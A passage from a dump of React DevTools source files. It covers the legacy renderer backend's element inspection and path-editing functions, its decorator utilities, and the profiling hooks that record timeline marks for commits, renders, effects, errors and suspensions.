props = element.props;\n\n      let owner = element._owner;\n      if (owner) {\n        owners = ([]: Array<SerializedElement>);\n        while (owner != null) {\n          owners.push({\n            displayName: getData(owner).displayName || 'Unknown',\n            id: getID(owner),\n            key: element.key,\n            env: null,\n            stack: null,\n            type: getElementType(owner),\n          });\n          if (owner._currentElement) {\n            owner = owner._currentElement._owner;\n          }\n        }\n      }\n    }\n\n    const publicInstance = internalInstance._instance;\n    if (publicInstance != null) {\n      context = publicInstance.context || null;\n      state = publicInstance.state || null;\n    }\n\n    // Not implemented\n    const errors: Array<[string, number]> = [];\n    const warnings: Array<[string, number]> = [];\n\n    return {\n      id,\n\n      // Does the current renderer support editable hooks and function props?\n      canEditHooks: false,\n      canEditFunctionProps: false,\n\n      // Does the current renderer support advanced editing interface?\n      canEditHooksAndDeletePaths: false,\n      canEditHooksAndRenamePaths: false,\n      canEditFunctionPropsDeletePaths: false,\n      canEditFunctionPropsRenamePaths: false,\n\n      // Toggle error boundary did not exist in legacy versions\n      canToggleError: false,\n      isErrored: false,\n\n      // Suspense did not exist in legacy versions\n      canToggleSuspense: false,\n      isSuspended: null,\n\n      source: null,\n\n      stack: null,\n\n      // Only legacy context exists in legacy versions.\n      hasLegacyContext: true,\n\n      type: type,\n\n      key: key != null ? key : null,\n\n      // Inspectable properties.\n      context,\n      hooks: null,\n      props,\n      state,\n      errors,\n      warnings,\n\n      // Not supported in legacy renderers.\n      suspendedBy: [],\n      suspendedByRange: null,\n      unknownSuspenders: UNKNOWN_SUSPENDERS_NONE,\n\n      // List of owners\n      owners,\n\n      env: null,\n\n      rootType: null,\n      rendererPackageName: null,\n      rendererVersion: null,\n\n      plugins: {\n        stylex: null,\n      },\n\n      nativeTag: null,\n    };\n  }\n\n  function inspectRootsRaw(arbitraryRootID: number): InspectedElement | null {\n    const roots =\n      renderer.Mount._instancesByReactRootID ||\n      renderer.Mount._instancesByContainerID;\n\n    const inspectedRoots: InspectedElement = {\n      // invariants\n      id: arbitraryRootID,\n      type: ElementTypeRoot,\n      // Properties we merge\n      isErrored: false,\n      errors: [],\n      warnings: [],\n      suspendedBy: [],\n      suspendedByRange: null,\n      // TODO: How to merge these?\n      unknownSuspenders: UNKNOWN_SUSPENDERS_NONE,\n      // Properties where merging doesn't make sense so we ignore them entirely in the UI\n      rootType: null,\n      plugins: {stylex: null},\n      nativeTag: null,\n      env: null,\n      source: null,\n      stack: null,\n      // TODO: We could make the Frontend accept an array to display\n      // a list of unique renderers contributing to this Screen.\n      rendererPackageName: null,\n      rendererVersion: null,\n      // These don't make sense for a Root. They're just bottom values.\n      key: null,\n      canEditFunctionProps: false,\n      canEditHooks: false,\n      canEditFunctionPropsDeletePaths: false,\n      canEditFunctionPropsRenamePaths: false,\n      canEditHooksAndDeletePaths: false,\n      canEditHooksAndRenamePaths: false,\n      canToggleError: false,\n      canToggleSuspense: false,\n      isSuspended: false,\n      hasLegacyContext: false,\n      context: null,\n      hooks: null,\n      props: null,\n      state: null,\n      owners: null,\n    };\n\n    let minSuspendedByRange = Infinity;\n    let maxSuspendedByRange = -Infinity;\n\n    for (const rootKey in roots) {\n      const internalInstance = roots[rootKey];\n      const id = getID(internalInstance);\n      const inspectedRoot = inspectInternalInstanceRaw(id, internalInstance);\n\n      if (inspectedRoot === null) {\n        return null;\n      }\n\n      if (inspectedRoot.isErrored) {\n        inspectedRoots.isErrored = true;\n      }\n      for (let i = 0; i < inspectedRoot.errors.length; i++) {\n        inspectedRoots.errors.push(inspectedRoot.errors[i]);\n      }\n      for (let i = 0; i < inspectedRoot.warnings.length; i++) {\n        inspectedRoots.warnings.push(inspectedRoot.warnings[i]);\n      }\n      for (let i = 0; i < inspectedRoot.suspendedBy.length; i++) {\n        inspectedRoots.suspendedBy.push(inspectedRoot.suspendedBy[i]);\n      }\n      const suspendedByRange = inspectedRoot.suspendedByRange;\n      if (suspendedByRange !== null) {\n        if (suspendedByRange[0] < minSuspendedByRange) {\n          minSuspendedByRange = suspendedByRange[0];\n        }\n        if (suspendedByRange[1] > maxSuspendedByRange) {\n          maxSuspendedByRange = suspendedByRange[1];\n        }\n      }\n    }\n\n    if (minSuspendedByRange !== Infinity || maxSuspendedByRange !== -Infinity) {\n      inspectedRoots.suspendedByRange = [\n        minSuspendedByRange,\n        maxSuspendedByRange,\n      ];\n    }\n\n    return inspectedRoots;\n  }\n\n  function logElementToConsole(id: number): void {\n    const result = inspectElementRaw(id);\n    if (result === null) {\n      console.warn(`Could not find element with id \"${id}\"`);\n      return;\n    }\n\n    const displayName = getDisplayNameForElementID(id);\n\n    const supportsGroup = typeof console.groupCollapsed === 'function';\n    if (supportsGroup) {\n      console.groupCollapsed(\n        `[Click to expand] %c<${displayName || 'Component'} />`,\n        // --dom-tag-name-color is the CSS variable Chrome styles HTML elements with in the console.\n        'color: var(--dom-tag-name-color); font-weight: normal;',\n      );\n    }\n    if (result.props !== null) {\n      console.log('Props:', result.props);\n    }\n    if (result.state !== null) {\n      console.log('State:', result.state);\n    }\n    if (result.context !== null) {\n      console.log('Context:', result.context);\n    }\n    const hostInstance = findHostInstanceForInternalID(id);\n    if (hostInstance !== null) {\n      console.log('Node:', hostInstance);\n    }\n    if (window.chrome || /firefox/i.test(navigator.userAgent)) {\n      console.log(\n        'Right-click any value to save it as a global variable for further inspection.',\n      );\n    }\n    if (supportsGroup) {\n      console.groupEnd();\n    }\n  }\n\n  function getElementAttributeByPath(\n    id: number,\n    path: Array<string | number>,\n  ): mixed {\n    const inspectedElement = inspectElementRaw(id);\n    if (inspectedElement !== null) {\n      return getInObject(inspectedElement, path);\n    }\n    return undefined;\n  }\n\n  function getElementSourceFunctionById(id: number): null | Function {\n    const internalInstance = idToInternalInstanceMap.get(id);\n    if (internalInstance == null) {\n      console.warn(`Could not find instance with id \"${id}\"`);\n      return null;\n    }\n\n    const element = internalInstance._currentElement;\n    if (element == null) {\n      console.warn(`Could not find element with id \"${id}\"`);\n      return null;\n    }\n\n    return element.type;\n  }\n\n  function deletePath(\n    type: 'context' | 'hooks' | 'props' | 'state',\n    id: number,\n    hookID: ?number,\n    path: Array<string | number>,\n  ): void {\n    const internalInstance = idToInternalInstanceMap.get(id);\n    if (internalInstance != null) {\n      const publicInstance = internalInstance._instance;\n      if (publicInstance != null) {\n        switch (type) {\n          case 'context':\n            deletePathInObject(publicInstance.context, path);\n            forceUpdate(publicInstance);\n            break;\n          case 'hooks':\n            throw new Error('Hooks not supported by this renderer');\n          case 'props':\n            const element = internalInstance._currentElement;\n            internalInstance._currentElement = {\n              ...element,\n              props: copyWithDelete(element.props, path),\n            };\n            forceUpdate(publicInstance);\n            break;\n          case 'state':\n            deletePathInObject(publicInstance.state, path);\n            forceUpdate(publicInstance);\n            break;\n        }\n      }\n    }\n  }\n\n  function renamePath(\n    type: 'context' | 'hooks' | 'props' | 'state',\n    id: number,\n    hookID: ?number,\n    oldPath: Array<string | number>,\n    newPath: Array<string | number>,\n  ): void {\n    const internalInstance = idToInternalInstanceMap.get(id);\n    if (internalInstance != null) {\n      const publicInstance = internalInstance._instance;\n      if (publicInstance != null) {\n        switch (type) {\n          case 'context':\n            renamePathInObject(publicInstance.context, oldPath, newPath);\n            forceUpdate(publicInstance);\n            break;\n          case 'hooks':\n            throw new Error('Hooks not supported by this renderer');\n          case 'props':\n            const element = internalInstance._currentElement;\n            internalInstance._currentElement = {\n              ...element,\n              props: copyWithRename(element.props, oldPath, newPath),\n            };\n            forceUpdate(publicInstance);\n            break;\n          case 'state':\n            renamePathInObject(publicInstance.state, oldPath, newPath);\n            forceUpdate(publicInstance);\n            break;\n        }\n      }\n    }\n  }\n\n  function overrideValueAtPath(\n    type: 'context' | 'hooks' | 'props' | 'state',\n    id: number,\n    hookID: ?number,\n    path: Array<string | number>,\n    value: any,\n  ): void {\n    const internalInstance = idToInternalInstanceMap.get(id);\n    if (internalInstance != null) {\n      const publicInstance = internalInstance._instance;\n      if (publicInstance != null) {\n        switch (type) {\n          case 'context':\n            setInObject(publicInstance.context, path, value);\n            forceUpdate(publicInstance);\n            break;\n          case 'hooks':\n            throw new Error('Hooks not supported by this renderer');\n          case 'props':\n            const element = internalInstance._currentElement;\n            internalInstance._currentElement = {\n              ...element,\n              props: copyWithSet(element.props, path, value),\n            };\n            forceUpdate(publicInstance);\n            break;\n          case 'state':\n            setInObject(publicInstance.state, path, value);\n            forceUpdate(publicInstance);\n            break;\n        }\n      }\n    }\n  }\n\n  // v16+ only features\n  const getProfilingData = () => {\n    throw new Error('getProfilingData not supported by this renderer');\n  };\n  const handleCommitFiberRoot = () => {\n    throw new Error('handleCommitFiberRoot not supported by this renderer');\n  };\n  const handleCommitFiberUnmount = () => {\n    throw new Error('handleCommitFiberUnmount not supported by this renderer');\n  };\n  const handlePostCommitFiberRoot = () => {\n    throw new Error('handlePostCommitFiberRoot not supported by this renderer');\n  };\n  const overrideError = () => {\n    throw new Error('overrideError not supported by this renderer');\n  };\n  const overrideSuspense = () => {\n    throw new Error('overrideSuspense not supported by this renderer');\n  };\n  const overrideSuspenseMilestone = () => {\n    throw new Error('overrideSuspenseMilestone not supported by this renderer');\n  };\n  const startProfiling = () => {\n    // Do not throw, since this would break a multi-root scenario where v15 and v16 were both present.\n  };\n  const stopProfiling = () => {\n    // Do not throw, since this would break a multi-root scenario where v15 and v16 were both present.\n  };\n\n  function getBestMatchForTrackedPath(): PathMatch | null {\n    // Not implemented.\n    return null;\n  }\n\n  function getPathForElement(id: number): Array<PathFrame> | null {\n    // Not implemented.\n    return null;\n  }\n\n  function updateComponentFilters(componentFilters: Array<ComponentFilter>) {\n    // Not implemented.\n  }\n\n  function getEnvironmentNames(): Array<string> {\n    // No RSC support.\n    return [];\n  }\n\n  function setTraceUpdatesEnabled(enabled: boolean) {\n    // Not implemented.\n  }\n\n  function setTrackedPath(path: Array<PathFrame> | null) {\n    // Not implemented.\n  }\n\n  function getOwnersList(id: number): Array<SerializedElement> | null {\n    // Not implemented.\n    return null;\n  }\n\n  function clearErrorsAndWarnings() {\n    // Not implemented\n  }\n\n  function clearErrorsForElementID(id: number) {\n    // Not implemented\n  }\n\n  function clearWarningsForElementID(id: number) {\n    // Not implemented\n  }\n\n  function hasElementWithId(id: number): boolean {\n    return idToInternalInstanceMap.has(id);\n  }\n\n  return {\n    clearErrorsAndWarnings,\n    clearErrorsForElementID,\n    clearWarningsForElementID,\n    cleanup,\n    getSerializedElementValueByPath,\n    deletePath,\n    flushInitialOperations,\n    getBestMatchForTrackedPath,\n    getDisplayNameForElementID,\n    getNearestMountedDOMNode,\n    getElementIDForHostInstance,\n    getSuspenseNodeIDForHostInstance(id: number): null {\n      return null;\n    },\n    getInstanceAndStyle,\n    findHostInstancesForElementID: (id: number) => {\n      const hostInstance = findHostInstanceForInternalID(id);\n      return hostInstance == null ? null : [hostInstance];\n    },\n    findLastKnownRectsForID() {\n      return null;\n    },\n    getOwnersList,\n    getPathForElement,\n    getProfilingData,\n    handleCommitFiberRoot,\n    handleCommitFiberUnmount,\n    handlePostCommitFiberRoot,\n    hasElementWithId,\n    inspectElement,\n    logElementToConsole,\n    overrideError,\n    overrideSuspense,\n    overrideSuspenseMilestone,\n    overrideValueAtPath,\n    renamePath,\n    getElementAttributeByPath,\n    getElementSourceFunctionById,\n    renderer,\n    setTraceUpdatesEnabled,\n    setTrackedPath,\n    startProfiling,\n    stopProfiling,\n    storeAsGlobal,\n    supportsTogglingSuspense,\n    updateComponentFilters,\n    getEnvironmentNames,\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/legacy/utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {InternalInstance} from './renderer';\n\nexport function decorate(object: Object, attr: string, fn: Function): Function {\n  const old = object[attr];\n  // $FlowFixMe[missing-this-annot] webpack config needs to be updated to allow `this` type annotations\n  object[attr] = function (instance: InternalInstance) {\n    return fn.call(this, old, arguments);\n  };\n  return old;\n}\n\nexport function decorateMany(\n  source: Object,\n  fns: {[attr: string]: Function, ...},\n): Object {\n  const olds: {[string]: $FlowFixMe} = {};\n  for (const name in fns) {\n    olds[name] = decorate(source, name, fns[name]);\n  }\n  return olds;\n}\n\nexport function restoreMany(source: Object, olds: Object): void {\n  for (const name in olds) {\n    source[name] = olds[name];\n  }\n}\n\n// $FlowFixMe[missing-this-annot] webpack config needs to be updated to allow `this` type annotations\nexport function forceUpdate(instance: InternalInstance): void {\n  if (typeof instance.forceUpdate === 'function') {\n    instance.forceUpdate();\n  } else if (\n    instance.updater != null &&\n    typeof instance.updater.enqueueForceUpdate === 'function'\n  ) {\n    instance.updater.enqueueForceUpdate(this, () => {}, 'forceUpdate');\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/profilingHooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Lane,\n  Lanes,\n  DevToolsProfilingHooks,\n  WorkTagMap,\n  CurrentDispatcherRef,\n} from 'react-devtools-shared/src/backend/types';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {Wakeable} from 'shared/ReactTypes';\nimport type {\n  BatchUID,\n  InternalModuleSourceToRanges,\n  LaneToLabelMap,\n  ReactComponentMeasure,\n  ReactLane,\n  ReactMeasure,\n  ReactMeasureType,\n  ReactScheduleStateUpdateEvent,\n  SchedulingEvent,\n  SuspenseEvent,\n  TimelineData,\n} from 'react-devtools-timeline/src/types';\n\nimport isArray from 'shared/isArray';\nimport {\n  REACT_TOTAL_NUM_LANES,\n  SCHEDULING_PROFILER_VERSION,\n} from 'react-devtools-timeline/src/constants';\nimport {describeFiber} from './fiber/DevToolsFiberComponentStack';\n\n// Add padding to the start/stop time of the profile.\n// This makes the UI nicer to use.\nconst TIME_OFFSET = 10;\n\nlet performanceTarget: Performance | null = null;\n\n// If performance exists and supports the subset of the User Timing API that we require.\nlet supportsUserTiming =\n  typeof performance !== 'undefined' &&\n  // $FlowFixMe[method-unbinding]\n  typeof performance.mark === 'function' &&\n  // $FlowFixMe[method-unbinding]\n  typeof performance.clearMarks === 'function';\n\nlet supportsUserTimingV3 = false;\nif (supportsUserTiming) {\n  const CHECK_V3_MARK = '__v3';\n  const markOptions: {\n    detail?: mixed,\n    startTime?: number,\n  } = {};\n  Object.defineProperty(markOptions, 'startTime', {\n    get: function () {\n      supportsUserTimingV3 = true;\n      return 0;\n    },\n    set: function () {},\n  });\n\n  try {\n    performance.mark(CHECK_V3_MARK, markOptions);\n  } catch (error) {\n    // Ignore\n  } finally {\n    performance.clearMarks(CHECK_V3_MARK);\n  }\n}\n\nif (supportsUserTimingV3) {\n  performanceTarget = performance;\n}\n\n// Some environments (e.g. React Native / Hermes) don't support the performance API yet.\nconst getCurrentTime =\n  // $FlowFixMe[method-unbinding]\n  typeof performance === 'object' && typeof performance.now === 'function'\n    ? () => performance.now()\n    : () => Date.now();\n\n// Mocking the Performance Object (and User Timing APIs) for testing is fragile.\n// This API allows tests to directly override the User Timing APIs.\nexport function setPerformanceMock_ONLY_FOR_TESTING(\n  performanceMock: Performance | null,\n) {\n  performanceTarget = performanceMock;\n  supportsUserTiming = performanceMock !== null;\n  supportsUserTimingV3 = performanceMock !== null;\n}\n\nexport type GetTimelineData = () => TimelineData | null;\nexport type ToggleProfilingStatus = (\n  value: boolean,\n  recordTimeline?: boolean,\n) => void;\n\ntype Response = {\n  getTimelineData: GetTimelineData,\n  profilingHooks: DevToolsProfilingHooks,\n  toggleProfilingStatus: ToggleProfilingStatus,\n};\n\nexport function createProfilingHooks({\n  getDisplayNameForFiber,\n  getIsProfiling,\n  getLaneLabelMap,\n  workTagMap,\n  currentDispatcherRef,\n  reactVersion,\n}: {\n  getDisplayNameForFiber: (fiber: Fiber) => string | null,\n  getIsProfiling: () => boolean,\n  getLaneLabelMap?: () => Map<Lane, string> | null,\n  currentDispatcherRef?: CurrentDispatcherRef,\n  workTagMap: WorkTagMap,\n  reactVersion: string,\n}): Response {\n  let currentBatchUID: BatchUID = 0;\n  let currentReactComponentMeasure: ReactComponentMeasure | null = null;\n  let currentReactMeasuresStack: Array<ReactMeasure> = [];\n  let currentTimelineData: TimelineData | null = null;\n  let currentFiberStacks: Map<SchedulingEvent, Array<Fiber>> = new Map();\n  let isProfiling: boolean = false;\n  let nextRenderShouldStartNewBatch: boolean = false;\n\n  function getRelativeTime() {\n    const currentTime = getCurrentTime();\n\n    if (currentTimelineData) {\n      if (currentTimelineData.startTime === 0) {\n        currentTimelineData.startTime = currentTime - TIME_OFFSET;\n      }\n\n      return currentTime - currentTimelineData.startTime;\n    }\n\n    return 0;\n  }\n\n  function getInternalModuleRanges() {\n    /* global __REACT_DEVTOOLS_GLOBAL_HOOK__ */\n    if (\n      typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== 'undefined' &&\n      typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.getInternalModuleRanges ===\n        'function'\n    ) {\n      // Ask the DevTools hook for module ranges that may have been reported by the current renderer(s).\n      // Don't do this eagerly like the laneToLabelMap,\n      // because some modules might not yet have registered their boundaries when the renderer is injected.\n      const ranges = __REACT_DEVTOOLS_GLOBAL_HOOK__.getInternalModuleRanges();\n\n      // This check would not be required,\n      // except that it's possible for things to override __REACT_DEVTOOLS_GLOBAL_HOOK__.\n      if (isArray(ranges)) {\n        return ranges;\n      }\n    }\n\n    return null;\n  }\n\n  function getTimelineData(): TimelineData | null {\n    return currentTimelineData;\n  }\n\n  function laneToLanesArray(lanes: Lane) {\n    const lanesArray = [];\n\n    let lane = 1;\n    for (let index = 0; index < REACT_TOTAL_NUM_LANES; index++) {\n      if (lane & lanes) {\n        lanesArray.push(lane);\n      }\n      lane *= 2;\n    }\n\n    return lanesArray;\n  }\n\n  const laneToLabelMap: LaneToLabelMap | null =\n    typeof getLaneLabelMap === 'function' ? getLaneLabelMap() : null;\n\n  function markMetadata() {\n    markAndClear(`--react-version-${reactVersion}`);\n    markAndClear(`--profiler-version-${SCHEDULING_PROFILER_VERSION}`);\n\n    const ranges = getInternalModuleRanges();\n    if (ranges) {\n      for (let i = 0; i < ranges.length; i++) {\n        const range = ranges[i];\n        if (isArray(range) && range.length === 2) {\n          const [startStackFrame, stopStackFrame] = ranges[i];\n\n          markAndClear(`--react-internal-module-start-${startStackFrame}`);\n          markAndClear(`--react-internal-module-stop-${stopStackFrame}`);\n        }\n      }\n    }\n\n    if (laneToLabelMap != null) {\n      const labels = Array.from(laneToLabelMap.values()).join(',');\n      markAndClear(`--react-lane-labels-${labels}`);\n    }\n  }\n\n  function markAndClear(markName: string) {\n    // This method won't be called unless these functions are defined, so we can skip the extra typeof check.\n    ((performanceTarget: any): Performance).mark(markName);\n    ((performanceTarget: any): Performance).clearMarks(markName);\n  }\n\n  function recordReactMeasureStarted(\n    type: ReactMeasureType,\n    lanes: Lanes,\n  ): void {\n    // Decide what depth thi work should be rendered at, based on what's on the top of the stack.\n    // It's okay to render over top of \"idle\" work but everything else should be on its own row.\n    let depth = 0;\n    if (currentReactMeasuresStack.length > 0) {\n      const top =\n        currentReactMeasuresStack[currentReactMeasuresStack.length - 1];\n      depth = top.type === 'render-idle' ? top.depth : top.depth + 1;\n    }\n\n    const lanesArray = laneToLanesArray(lanes);\n\n    const reactMeasure: ReactMeasure = {\n      type,\n      batchUID: currentBatchUID,\n      depth,\n      lanes: lanesArray,\n      timestamp: getRelativeTime(),\n      duration: 0,\n    };\n\n    currentReactMeasuresStack.push(reactMeasure);\n\n    if (currentTimelineData) {\n      const {batchUIDToMeasuresMap, laneToReactMeasureMap} =\n        currentTimelineData;\n\n      let reactMeasures = batchUIDToMeasuresMap.get(currentBatchUID);\n      if (reactMeasures != null) {\n        reactMeasures.push(reactMeasure);\n      } else {\n        batchUIDToMeasuresMap.set(currentBatchUID, [reactMeasure]);\n      }\n\n      lanesArray.forEach(lane => {\n        reactMeasures = laneToReactMeasureMap.get(lane);\n        if (reactMeasures) {\n          reactMeasures.push(reactMeasure);\n        }\n      });\n    }\n  }\n\n  function recordReactMeasureCompleted(type: ReactMeasureType): void {\n    const currentTime = getRelativeTime();\n\n    if (currentReactMeasuresStack.length === 0) {\n      console.error(\n        'Unexpected type \"%s\" completed at %sms while currentReactMeasuresStack is empty.',\n        type,\n        currentTime,\n      );\n      // Ignore work \"completion\" user timing mark that doesn't complete anything\n      return;\n    }\n\n    const top = currentReactMeasuresStack.pop();\n    // $FlowFixMe[incompatible-type]\n    // $FlowFixMe[incompatible-use]\n    if (top.type !== type) {\n      console.error(\n        'Unexpected type \"%s\" completed at %sms before \"%s\" completed.',\n        type,\n        currentTime,\n        // $FlowFixMe[incompatible-use]\n        top.type,\n      );\n    }\n\n    // $FlowFixMe[cannot-write] This property should not be writable outside of this function.\n    // $FlowFixMe[incompatible-use]\n    top.duration = currentTime - top.timestamp;\n\n    if (currentTimelineData) {\n      currentTimelineData.duration = getRelativeTime() + TIME_OFFSET;\n    }\n  }\n\n  function markCommitStarted(lanes: Lanes): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    recordReactMeasureStarted('commit', lanes);\n\n    // TODO (timeline) Re-think this approach to \"batching\"; I don't think it works for Suspense or pre-rendering.\n    // This issue applies to the User Timing data also.\n    nextRenderShouldStartNewBatch = true;\n\n    if (supportsUserTimingV3) {\n      markAndClear(`--commit-start-${lanes}`);\n\n      // Some metadata only needs to be logged once per session,\n      // but if profiling information is being recorded via the Performance tab,\n      // DevTools has no way of knowing when the recording starts.\n      // Because of that, we log thie type of data periodically (once per commit).\n      markMetadata();\n    }\n  }\n\n  function markCommitStopped(): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    recordReactMeasureCompleted('commit');\n    recordReactMeasureCompleted('render-idle');\n    if (supportsUserTimingV3) {\n      markAndClear('--commit-stop');\n    }\n  }\n\n  function markComponentRenderStarted(fiber: Fiber): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';\n\n    // TODO (timeline) Record and cache component stack\n    currentReactComponentMeasure = {\n      componentName,\n      duration: 0,\n      timestamp: getRelativeTime(),\n      type: 'render',\n      warning: null,\n    };\n\n    if (supportsUserTimingV3) {\n      markAndClear(`--component-render-start-${componentName}`);\n    }\n  }\n\n  function markComponentRenderStopped(): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    if (currentReactComponentMeasure) {\n      if (currentTimelineData) {\n        currentTimelineData.componentMeasures.push(\n          currentReactComponentMeasure,\n        );\n      }\n\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      currentReactComponentMeasure.duration =\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        getRelativeTime() - currentReactComponentMeasure.timestamp;\n      currentReactComponentMeasure = null;\n    }\n\n    if (supportsUserTimingV3) {\n      markAndClear('--component-render-stop');\n    }\n  }\n\n  function markComponentLayoutEffectMountStarted(fiber: Fiber): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';\n\n    // TODO (timeline) Record and cache component stack\n    currentReactComponentMeasure = {\n      componentName,\n      duration: 0,\n      timestamp: getRelativeTime(),\n      type: 'layout-effect-mount',\n      warning: null,\n    };\n\n    if (supportsUserTimingV3) {\n      markAndClear(`--component-layout-effect-mount-start-${componentName}`);\n    }\n  }\n\n  function markComponentLayoutEffectMountStopped(): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    if (currentReactComponentMeasure) {\n      if (currentTimelineData) {\n        currentTimelineData.componentMeasures.push(\n          currentReactComponentMeasure,\n        );\n      }\n\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      currentReactComponentMeasure.duration =\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        getRelativeTime() - currentReactComponentMeasure.timestamp;\n      currentReactComponentMeasure = null;\n    }\n\n    if (supportsUserTimingV3) {\n      markAndClear('--component-layout-effect-mount-stop');\n    }\n  }\n\n  function markComponentLayoutEffectUnmountStarted(fiber: Fiber): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';\n\n    // TODO (timeline) Record and cache component stack\n    currentReactComponentMeasure = {\n      componentName,\n      duration: 0,\n      timestamp: getRelativeTime(),\n      type: 'layout-effect-unmount',\n      warning: null,\n    };\n\n    if (supportsUserTimingV3) {\n      markAndClear(`--component-layout-effect-unmount-start-${componentName}`);\n    }\n  }\n\n  function markComponentLayoutEffectUnmountStopped(): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    if (currentReactComponentMeasure) {\n      if (currentTimelineData) {\n        currentTimelineData.componentMeasures.push(\n          currentReactComponentMeasure,\n        );\n      }\n\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      currentReactComponentMeasure.duration =\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        getRelativeTime() - currentReactComponentMeasure.timestamp;\n      currentReactComponentMeasure = null;\n    }\n\n    if (supportsUserTimingV3) {\n      markAndClear('--component-layout-effect-unmount-stop');\n    }\n  }\n\n  function markComponentPassiveEffectMountStarted(fiber: Fiber): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';\n\n    // TODO (timeline) Record and cache component stack\n    currentReactComponentMeasure = {\n      componentName,\n      duration: 0,\n      timestamp: getRelativeTime(),\n      type: 'passive-effect-mount',\n      warning: null,\n    };\n\n    if (supportsUserTimingV3) {\n      markAndClear(`--component-passive-effect-mount-start-${componentName}`);\n    }\n  }\n\n  function markComponentPassiveEffectMountStopped(): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    if (currentReactComponentMeasure) {\n      if (currentTimelineData) {\n        currentTimelineData.componentMeasures.push(\n          currentReactComponentMeasure,\n        );\n      }\n\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      currentReactComponentMeasure.duration =\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        getRelativeTime() - currentReactComponentMeasure.timestamp;\n      currentReactComponentMeasure = null;\n    }\n\n    if (supportsUserTimingV3) {\n      markAndClear('--component-passive-effect-mount-stop');\n    }\n  }\n\n  function markComponentPassiveEffectUnmountStarted(fiber: Fiber): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';\n\n    // TODO (timeline) Record and cache component stack\n    currentReactComponentMeasure = {\n      componentName,\n      duration: 0,\n      timestamp: getRelativeTime(),\n      type: 'passive-effect-unmount',\n      warning: null,\n    };\n\n    if (supportsUserTimingV3) {\n      markAndClear(`--component-passive-effect-unmount-start-${componentName}`);\n    }\n  }\n\n  function markComponentPassiveEffectUnmountStopped(): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    if (currentReactComponentMeasure) {\n      if (currentTimelineData) {\n        currentTimelineData.componentMeasures.push(\n          currentReactComponentMeasure,\n        );\n      }\n\n      // $FlowFixMe[incompatible-use] found when upgrading Flow\n      currentReactComponentMeasure.duration =\n        // $FlowFixMe[incompatible-use] found when upgrading Flow\n        getRelativeTime() - currentReactComponentMeasure.timestamp;\n      currentReactComponentMeasure = null;\n    }\n\n    if (supportsUserTimingV3) {\n      markAndClear('--component-passive-effect-unmount-stop');\n    }\n  }\n\n  function markComponentErrored(\n    fiber: Fiber,\n    thrownValue: mixed,\n    lanes: Lanes,\n  ): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';\n    const phase = fiber.alternate === null ? 'mount' : 'update';\n\n    let message = '';\n    if (\n      thrownValue !== null &&\n      typeof thrownValue === 'object' &&\n      typeof thrownValue.message === 'string'\n    ) {\n      message = thrownValue.message;\n    } else if (typeof thrownValue === 'string') {\n      message = thrownValue;\n    }\n\n    // TODO (timeline) Record and cache component stack\n    if (currentTimelineData) {\n      currentTimelineData.thrownErrors.push({\n        componentName,\n        message,\n        phase,\n        timestamp: getRelativeTime(),\n        type: 'thrown-error',\n      });\n    }\n\n    if (supportsUserTimingV3) {\n      markAndClear(`--error-${componentName}-${phase}-${message}`);\n    }\n  }\n\n  const PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;\n\n  // $FlowFixMe[incompatible-type]: Flow cannot handle polymorphic WeakMaps\n  const wakeableIDs: WeakMap<Wakeable, number> = new PossiblyWeakMap();\n  let wakeableID: number = 0;\n  function getWakeableID(wakeable: Wakeable): number {\n    if (!wakeableIDs.has(wakeable)) {\n      wakeableIDs.set(wakeable, wakeableID++);\n    }\n    return ((wakeableIDs.get(wakeable): any): number);\n  }\n\n  function markComponentSuspended(\n    fiber: Fiber,\n    wakeable: Wakeable,\n    lanes: Lanes,\n  ): void {\n    if (!isProfiling) {\n      return;\n    }\n\n    const eventType = wakeableIDs.has(wakeable) ? 'resuspend' : 'suspend';\n    const id = getWakeableID(wakeable);\n    const componentName = getDisplayNameForFiber(fiber) || 'Unknown';\n    const phase = fiber.alternate === null ? 'mount' : 'update';\n\n    // Following the non-standard fn.displayName convention,\n    // frameworks like Relay may also annotate Promises with a displayName,\n    // describing what operation/data the thrown Promise is related to.\n    // When this is available we should pass it along to the Timeline.\n    const displayName = (wakeable: any).displayName || '';\n\n    let suspenseEvent: SuspenseEvent | null = null;\n    // TODO (timeline) Record and cache component stack\n    suspenseEvent = {\n      componentName,\n      depth: 0,\n      duration: 0,\n      id: `${id}`,\n      phase,\n      promiseName: displayName,\n      resolution: 'unresolved',\n      timestamp: getRelativeTime(),\n      type: 